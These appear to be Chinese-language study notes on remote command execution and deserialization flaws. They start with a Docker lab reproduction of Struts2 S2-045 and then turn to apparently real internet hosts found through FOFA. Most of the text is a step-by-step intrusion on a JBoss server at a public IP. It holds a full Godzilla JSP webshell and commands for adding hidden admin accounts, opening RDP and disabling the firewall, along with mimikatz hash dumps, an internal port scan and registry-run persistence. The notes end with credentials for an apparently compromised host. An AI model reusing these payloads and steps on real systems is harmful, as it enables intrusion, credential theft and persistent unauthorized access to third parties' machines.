14.远程命令代码执行漏洞和反序列化漏洞
远程命令执行漏洞
remote commmand excute 简称 RCE
批量远程执行命令漏洞(RCE)是一种高危安全漏洞,允许攻击者通过未充分验证的用户输入,在目标系统上执行任意命令或代码。这种漏洞通常出现在开发者未对输入进行严格过滤或使用了危险函数的情况下。

漏洞代码 没有过滤 $result = shell_exec("ping " . $ip);
php主要造成命令执行的函数
| 函数 | 类型 | 危险等级 |
|---|---|---|
| eval | PHP代码执行 | 极高 |
| system | 系统命令执行 | 极高 |
| exec | 系统命令执行 | 极高 |
| shell_exec | 系统命令执行 | 极高 |
| passthru | 系统命令执行 | 极高 |
| assert | PHP代码执行 | 高 |
| popen | 进程控制 | 高 |
| proc_open | 进程控制 | 极高 |
远程代码执行漏洞
eval()
assert()
preg_replace('/e/')
create_function()
phpinfo();
RCE漏洞防御
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
过滤替换
绕过
127.0.0.0|net user
127.0.0.0||net user
127.0.0.0&net user
127.0.0.0&&net user
struct2命令执行漏洞复现
框架
浏览器
↓
Nginx / Apache
↓
PHP / Java / Python
↓
Web Framework(Laravel、SpringBoot)
↓
业务代码
↓
MySQL
框架运行在:
PHP
Java
Python
Node.js
中间件
浏览器
↓
Nginx / Apache
↓
Tomcat / PHP-FPM
↓
Web框架
↓
数据库
Nginx
Apache
Tomcat
都属于:服务器中间件
oday nday
| 对比 | 0day | Nday |
|---|---|---|
| 是否公开 | 未公开 | 已公开 |
| 是否有补丁 | 无 | 有 |
| 危险性 | 极高 | 高 |
| 获取难度 | 很高 | 低 |
| 成本 | 很贵 | 很低 |
| 常见使用者 | APT/国家级 | 普通黑客 |
struct2-045漏洞复现
*** verge 开启虚拟网卡模式 解决虚拟机从github下载慢的问题
环境:可以通过vulhub通过docker部署
git clone --depth 1 https://github.com/vulhub/vulhub
cd /root/vulhub/struts2/s2-045
docker compose up -d
192.168.152.128:8080
GET / HTTP/1.1
Host: 192.168.152.128:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 2
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
本质上是一个 Apache Struts2 OGNL 表达式注入 测试字符串,常用于验证某些历史 Struts2 漏洞(尤其和 multipart/form-data 解析相关的漏洞)。
它的作用是:
HttpServletResponse.addHeader("vulhub","54289")
因为:
233 * 233 = 54289
如果服务器响应头里出现:
vulhub: 54289
通常说明:
OGNL 表达式被执行了
存在 Struts2 OGNL 注入风险
某些旧版 Struts2 漏洞可能可利用
HTTP/1.1 200 OK
Date: Fri, 08 May 2026 14:09:54 GMT
vulhub: 54289
Content-Type: text/html; charset=UTF-8
Set-Cookie: JSESSIONID=2z8mpdfm0r0uhf6ncvtqbwv;Path=/
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Server: Jetty(9.2.11.v20150529)


struts2-046漏洞利用
1.利用fofa网络搜索引擎找到具备s2-046特征的网站
server="Apache-Coyote" && body="upload.action"

2.检测是否有漏洞

3.利用漏洞 哥斯拉生成木马上传 连接 执行命令
<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>




这里其实是一个docker容器 无法逃逸
poc exp
POC(Proof of Concept)概念验证
作用:证明 “漏洞存在”,不搞破坏
只做检测:测试目标有没有漏洞
不拿权限、不上马、不删文件、不窃取数据
EXP(Exploit)漏洞利用 / 攻击代码
作用:直接利用漏洞拿权限、控制服务器
执行系统命令:whoami、id、ifconfig
写入一句话木马、反弹 Shell、 getshell
拿到服务器控制权
未授权使用属于违法,仅限授权测试
反序列化
恶意对象
↓
序列化
↓
发送给服务器
↓
服务器反序列化
↓
触发利用链
↓
执行命令
class Test {
function __destruct() {
system($this->cmd);
}
}
攻击者构造:
O:4:"Test":1:{s:3:"cmd";s:2:"id";}
反序列化后:
system("id");
执行命令。
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
是的,很多反序列化漏洞利用时,确实需要知道目标服务器上存在什么类(Class)、依赖库(Jar 包)以及版本,因为:
payload 本质上是在“调用服务器本地已有的类”。
公有变量 私有变量
公有变量
<?php
class User {
public $name;
}
$user = new User();
$user->name = "Tom";
echo $user->name;
输出:
Tom
私有变量
<?php
class User {
private $password;
}
$user = new User();
$user->password = "123456";
会报错:
Fatal error:
Cannot access private property
php魔法函数
| 魔术方法 | 触发时机 |
|---|---|
__construct() |
创建对象时 |
__destruct() |
对象销毁时 |
__toString() |
对象当字符串时 |
__get() |
读取不存在/不可访问属性 |
__set() |
写入不存在/不可访问属性 |
__isset() |
isset() 时 |
__unset() |
unset() 时 |
__call() |
调用不存在方法 |
__callStatic() |
调用不存在静态方法 |
__invoke() |
对象当函数调用 |
__sleep() |
serialize() 前 |
__wakeup() |
unserialize() 后 |
__serialize() |
新版序列化 |
__unserialize() |
新版反序列化 |
__clone() |
clone 对象时 |
__debugInfo() |
var_dump() 时 |
__set_state() |
var_export() 时 |
__autoload() |
自动加载类(旧) |
反序列化 RCE
<?php
class Test {
public $cmd;
// 析构函数
public function __destruct() {
// 模拟危险操作
system($this->cmd);
}
}
// 用户可控数据
$data = $_GET['data'];
// 危险点:直接反序列化
unserialize($data);
?>
http://192.168.152.129:98/rce.php?data=O:4:%22Test%22:1:{s:3:%22cmd%22;s:6:%22whoami%22;}

利用pop找反序列化漏洞
POP链
全称:Property Oriented Programming中文:面向属性编程(不用管名词,记下面这句)
POP 链 = 代码里已经存在的、能被反序列化触发的一组合法代码,被攻击者串起来执行恶意操作。
你可以理解成:
程序里本来就有的代码 → 我把它们串起来 → 变成命令执行
就像:你家有打火机、报纸、汽油我不创造新东西,我只是把它们按顺序用起来 → 放火
反序列化不能直接执行代码,只能触发对象里已有的方法。
所以攻击者必须:
在代码里找能被触发的方法
找到能调用其他类的方法
找到能执行命令的方法
把它们串成一条链
JBOSS 4.X反序列化漏洞利用拿下物理主机
1.利用ai辅助 fofa查找有jboss特征的网站 工具测试漏洞 看基本信息 系统
fofa -->:body="jbossmq-httpil" || body="JMXInvokerServlet" || body="jmx-console"
ip:http://193.227.50.136:8080/

cmd /c systeminfo
Host Name: DESKTOP-KHV0FJF
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19045 N/A Build 19045
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: ZAK
Registered Organization:
Product ID: 00330-80000-00000-AA335
Original Install Date: 9/18/2025, 6:42:00 AM
System Boot Time: 5z/8/2026, 5:26:29 PM
System Manufacturer: Dell Inc.
System Model: OptiPlex 7010
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 58 Stepping 9 GenuineIntel ~3201 Mhz
BIOS Version: Dell Inc. A29, 6/28/2018
Windows Directory: C:\WINDOWS
System Directory: C:\WINDOWS\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC+03:00) Nairobi
Total Physical Memory: 4,014 MB
Available Physical Memory: 1,050 MB
Virtual Memory: Max Size: 9,231 MB
Virtual Memory: Available: 1,824 MB
Virtual Memory: In Use: 7,407 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): 11 Hotfix(s) Installed.
[01]: KB5066130
z [02]: KB5064399
[03]: KB5011048
[04]: KB5015684
[05]: KB5072653
[06]: KB5071959
[07]: KB5063706
[08]: KB5063979
[09]: KB5066790
[10]: KB5071982
[11]: KB5075039
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) 82579LM Gigabit Network Connection
Connection Name: Ethernet
DHCP Enabled: No
IP address(es)
[01]: 192.168.1.141
[02]: fe80::549b:b4db:6ead:afd7
Hyper-V Requirements: VM Monitor Mode Extensions: Yes
Virtualization Enabled In Firmware: Yes
Second Level Address Translation: Yes
z Data Execution Prevention Available: Yes
物理主机 不是虚拟机 docker
2.找网站根目录 传木马连接
D:\Infinity\bin\jboss\server\default\deploy\jboss-web.deployer\ROOT.war


哥斯拉 蚁剑木马 连不上
3.连接不上 执行命令 建账户 开3389
工具执行
新建用户 设置密码
cmd /c net user hello 123123123123 /add
加入管理员组
cmd /c net localgroup administrators hello /add
开启远程桌面(3389)
cmd /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
放行防火墙 3389
cmd /c netsh advfirewall set allprofiles state off
激活管理员用户
net user Administrator /active:yes
设密码
net user Administrator NewPass@123

4.破解原账号密码 mimikatz
破解原账户密码
https://github.com/gentilkiwi/mimikatz/releases
开启mimikatz。以管理员权限打开cmd,进入mimikatz相应操作系统的目录下,输入命令:
mimikatz.exe
privilege::debug
如果出现以下报错:ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061 说明你不是管理员权限)
token::elevate 提权
获取到NTLM的hash,输入命令:
lsadump::sam
进行NTLM解密,可以使用https://www.cmd5.com 类型NTLM
User : ZAK
Hash NTLM: 32ed87bdb5fdc5e9cba88547376818d4
弱密码 123456
mimikatz # lsadump::sam
Domain : DESKTOP-KHV0FJF
SysKey : 53d370deef43b3e4d3399fad74c01098
Local SID : S-1-5-21-428449519-1413205778-77923684
SAMKey : db9bfec8df823b56b6f873249cc7048e
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 342532a1eaa6b175003e16c665d65dc0
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 2932bca3fe49cae8ba9e90294f7152e8
* Primary:Kerberos-Newer-Keys *
Default Salt : DESKTOP-KHV0FJFAdministrator
Default Iterations : 4096
Credentials
aes256_hmac (4096) : de70c93e1d40139e98b2d9a23b09c8ab3d17772ba6dcbc665d46f403fbc324fa
aes128_hmac (4096) : 3e8ce5ee7568321f3b0cd687090bba1c
des_cbc_md5 (4096) : 919461e0d3ad7ff4
OldCredentials
aes256_hmac (4096) : d28cfe3917f5cf5bfecf0258a142558d54416ede27cd2e560ce469728b303eb1
aes128_hmac (4096) : 6c1716732264687c83ecb4d5134c12d6
des_cbc_md5 (4096) : 4f570b4ca4576bc4
OlderCredentials
aes256_hmac (4096) : a4a02671006b19cda3f33d57387f6424bafe87c18387093286f76452b1bcdbd6
aes128_hmac (4096) : dbb19d4abd813e9997a68b0db07c91ef
des_cbc_md5 (4096) : c1e519efe9432076
* Packages *
NTLM-Strong-NTOWF
* Primary:Kerberos *
Default Salt : DESKTOP-KHV0FJFAdministrator
Credentials
des_cbc_md5 : 919461e0d3ad7ff4
OldCredentials
des_cbc_md5 : 4f570b4ca4576bc4
RID : 000001f5 (501)
User : Guest
RID : 000001f7 (503)
User : DefaultAccount
RID : 000001f8 (504)
User : WDAGUtilityAccount
Hash NTLM: d3d80d1ed47726dfa8cd4c8bb4b3326f
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : c5a4c5b857129110370c48f9ca1514e3
* Primary:Kerberos-Newer-Keys *
Default Salt : WDAGUtilityAccount
Default Iterations : 4096
Credentials
aes256_hmac (4096) : ef3e0f6ab15148d35853fb1fded65814823f3076baeb913d977ac43b7815143f
aes128_hmac (4096) : 501d89213e662fb622b8d7ce9f2cb284
des_cbc_md5 (4096) : c2e0d513c226dc2a
* Packages *
NTLM-Strong-NTOWF
* Primary:Kerberos *
Default Salt : WDAGUtilityAccount
Credentials
des_cbc_md5 : c2e0d513c226dc2a
RID : 000003e9 (1001)
User : ZAK
Hash NTLM: 32ed87bdb5fdc5e9cba88547376818d4
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : d3026563c4f6023617abebd54e86ca95
* Primary:Kerberos-Newer-Keys *
Default Salt : DESKTOP-KHV0FJFZAK
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 3ddb1ef9fd0612b6019d45bc13e98d47a9830e605c9eee46ce2d15109e98c7a1
aes128_hmac (4096) : 3512d1add8c88ec2d34d33602dc67252
des_cbc_md5 (4096) : 9786922cadd6c70b
OldCredentials
aes256_hmac (4096) : 3ddb1ef9fd0612b6019d45bc13e98d47a9830e605c9eee46ce2d15109e98c7a1
aes128_hmac (4096) : 3512d1add8c88ec2d34d33602dc67252
des_cbc_md5 (4096) : 9786922cadd6c70b
* Packages *
NTLM-Strong-NTOWF
* Primary:Kerberos *
Default Salt : DESKTOP-KHV0FJFZAK
Credentials
des_cbc_md5 : 9786922cadd6c70b
OldCredentials
des_cbc_md5 : 9786922cadd6c70b
RID : 000003eb (1003)
User : hello
Hash NTLM: 8932d9a85f4441de4e69ea8167d3643f
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 8c6a4f174bc91cef8c43e272ea6cc222
* Primary:Kerberos-Newer-Keys *
Default Salt : DESKTOP-KHV0FJFhello
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 9fac80f56f21e59e858e2a67251f497edb08cb9c1fa8180bd03f9f05f738f312
aes128_hmac (4096) : 7545126fc7d200d30dc615b2df35dbf9
des_cbc_md5 (4096) : 383bf8b525d33e70
OldCredentials
aes256_hmac (4096) : c8f2a92e00cb5b44d59e9470579b37786fe755de0378a7b3e985d4dea8612011
aes128_hmac (4096) : 9d3cd998d0a90e2d5eac29a3b5eed8a6
des_cbc_md5 (4096) : cb205b927397a88f
* Packages *
NTLM-Strong-NTOWF
* Primary:Kerberos *
Default Salt : DESKTOP-KHV0FJFhello
Credentials
des_cbc_md5 : 383bf8b525d33e70
OldCredentials
des_cbc_md5 : cb205b927397a88f
RID : 000003ec (1004)
User : hackuser
Hash NTLM: 726353167078226fc17e3d38602387fd
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : e98098c93ddff1d941e5bfb6aa9fc7a0
* Primary:Kerberos-Newer-Keys *
Default Salt : DESKTOP-KHV0FJFhackuser
Default Iterations : 4096
Credentials
aes256_hmac (4096) : ff662befd48e13582b1bfde89425144a2653d36731faca9315ad8e49d20b829c
aes128_hmac (4096) : 5da83f5943b211cd79033ff7476456d5
des_cbc_md5 (4096) : 0ee9078634e502b5
* Packages *
NTLM-Strong-NTOWF
* Primary:Kerberos *
Default Salt : DESKTOP-KHV0FJFhackuser
Credentials
des_cbc_md5 : 0ee9078634e502b5
5.内网 看是不是域 尝试原账号登录其他机器
方法 1:最准命令(直接看是否加入域)
cmd
systeminfo | findstr /i "Domain"
如果显示 Domain: 不是域 / WORKGROUP → 普通工作组,不是域环境
如果显示 Domain: xxx.com → 域环境
方法 2:看当前登录域
cmd
set userdomain
USERDOMAIN=Administrator机器名 → 本机账户,不是域
USERDOMAIN=域名 → 域环境
方法 3:看有没有域控制器 DNS
cmd
ipconfig /all | findstr /i "DNS"
DNS 如果是域控 IP、内网 DNS,大概率是域环境。
方法 4:查看本机有没有域用户 / 域组
cmd
net user
出现带域名的账号、Domain Users 就是域。
arp -a
Interface: 192.168.1.141 --- 0xe
Internet Address Physical Address Type
192.168.1.12 d4-be-d9-93-34-bf dynamic
192.168.1.56 48-4d-7e-bd-13-f8 dynamic
192.168.1.64 94-40-c9-4a-be-fc dynamic
192.168.1.66 00-15-5d-00-40-00 dynamic
192.168.1.120 90-b1-1c-8d-69-1a dynamic
192.168.1.151 78-8c-b5-86-48-99 dynamic
192.168.1.152 e0-ba-ad-1a-55-33 dynamic
192.168.1.153 dc-07-f8-52-61-c0 dynamic
192.168.1.154 ac-b9-2f-3f-33-fc dynamic
192.168.1.158 bc-30-5b-ca-42-3e dynamic
192.168.1.160 94-40-c9-4a-be-fd dynamic
192.168.1.166 26-22-fc-23-70-7f dynamic
192.168.1.167 a6-39-be-ea-5c-0f dynamic
192.168.1.170 00-15-5d-00-40-01 dynamic
192.168.1.175 94-40-c9-4a-be-ff dynamic
192.168.1.178 34-17-eb-b2-d0-95 dynamic
192.168.1.185 5c-f9-dd-77-64-d1 dynamic
192.168.1.192 ba-9a-88-96-c1-49 dynamic
192.168.1.220 5a-38-63-29-11-33 dynamic
192.168.1.222 50-3d-e5-77-ae-60 dynamic
192.168.1.254 5e-a1-e1-59-fe-f5 dynamic
192.168.1.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.251 01-00-5e-00-00-fb static
224.0.0.252 01-00-5e-00-00-fc static
239.255.102.18 01-00-5e-7f-66-12 static
239.255.255.250 01-00-5e-7f-ff-fa static
powershell
PS C:\Users\Administrator> $ips = @(
>> "192.168.1.12",
>> "192.168.1.56",
>> "192.168.1.64",
>> "192.168.1.66",
>> "192.168.1.120",
>> "192.168.1.151",
>> "192.168.1.152",
>> "192.168.1.153",
>> "192.168.1.154",
>> "192.168.1.158",
>> "192.168.1.160",
>> "192.168.1.166",
>> "192.168.1.167",
>> "192.168.1.170",
>> "192.168.1.175",
>> "192.168.1.178",
>> "192.168.1.185",
>> "192.168.1.192",
>> "192.168.1.220",
>> "192.168.1.222",
>> "192.168.1.254"
>> )
>>
>> foreach($ip in $ips){
>> try{
>> $tcp = New-Object Net.Sockets.TcpClient
>> $iar = $tcp.BeginConnect($ip,3389,$null,$null)
>>
>> if($iar.AsyncWaitHandle.WaitOne(800,$false)){
>> $tcp.EndConnect($iar)
>> Write-Host "[OPEN] ${ip}:3389"
>> }
>>
>> $tcp.Close()
>> }catch{}
>> }
[OPEN] 192.168.1.12:3389
[OPEN] 192.168.1.64:3389
[OPEN] 192.168.1.66:3389
[OPEN] 192.168.1.160:3389
[OPEN] 192.168.1.170:3389
6.维持
注册表开机自启后门
把任意后门程序放到 C:\Windows\Temp,加入开机启动:
cmd
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SystemUpdate /t REG_SZ /d "C:\Windows\Temp\[your-program-name.exe]" /f
3. 开启 3389 永久放行,以后随时连
cmd
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=TCP localport=3389 remoteip=any profile=any enable=yes
新建隐藏管理员账号(最经典)
建普通管理员
cmd
net user admin$ 123123123123/add
net localgroup administrators admin$ /add
7.思路
思路:
1.利用jboss反序列化漏洞
2.通过fofa找到具有特征的网站
3.利用poc确认基本信息 系统 权限 写木马 执行命令 确认是物理机 docker 虚拟机
4.发现权限特殊 windows 新建用户 开3389 连接
5.mimikatz破解原账户密码
6.确认是不是域 内网扫描 试着其他ip 3389是否同账号密码
7.后续维持 开启 3389 永久放行
已经拿下机器
184.174.36.65
admin$
123123123123
http://27.56.146.149:7001/console/login/LoginForm.jsp
weblogic反序列化漏洞

反序列化漏洞的防御手段
版本补丁:及时升级中间件、JDK 和 Commons Collections 等依赖包。
关停危险组件:WebLogic 限制 / 禁用T3 协议;JBoss 删除http-invoker、限制 JMX 接口。
访问管控:防火墙端口隔离、后台及敏感接口IP 白名单、关闭外网直接访问。
代码规范:禁止接收外网不可信序列化数据,改用 JSON 等安全格式;配置反序列化类白名单。
安全防护:部署RASP拦截恶意反序列化;开启日志审计、异常行为告警。

浙公网安备 33010602011771号